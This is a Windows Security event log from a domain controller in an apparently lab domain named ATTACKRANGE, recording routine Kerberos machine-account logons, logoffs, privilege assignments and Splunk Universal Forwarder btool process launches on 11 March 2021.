TaskCategory=Logoff
OpCode=Info
RecordNumber=250244
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1037EB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250243
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1360
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1044
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250242
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1037EB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64417

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250241
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1037EB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250240
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10373F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250239
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10373F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64416

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250238
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10373F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250237
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1044
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10c0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250236
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x103684

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250235
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x103684
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64415

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250234
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x103684

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250233
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13e0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250272
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1158
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x117c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250271
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x117c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10b8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250270
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1128
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1130
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250269
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1130
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10b8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250268
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x111c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250267
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x111c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10b8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250266
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1043FC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250265
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1043FC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64422

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250264
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1043FC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250263
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10439B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250262
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10439B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64421

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250261
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10439B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250260
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x104335

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:18 PM
LogName=Security
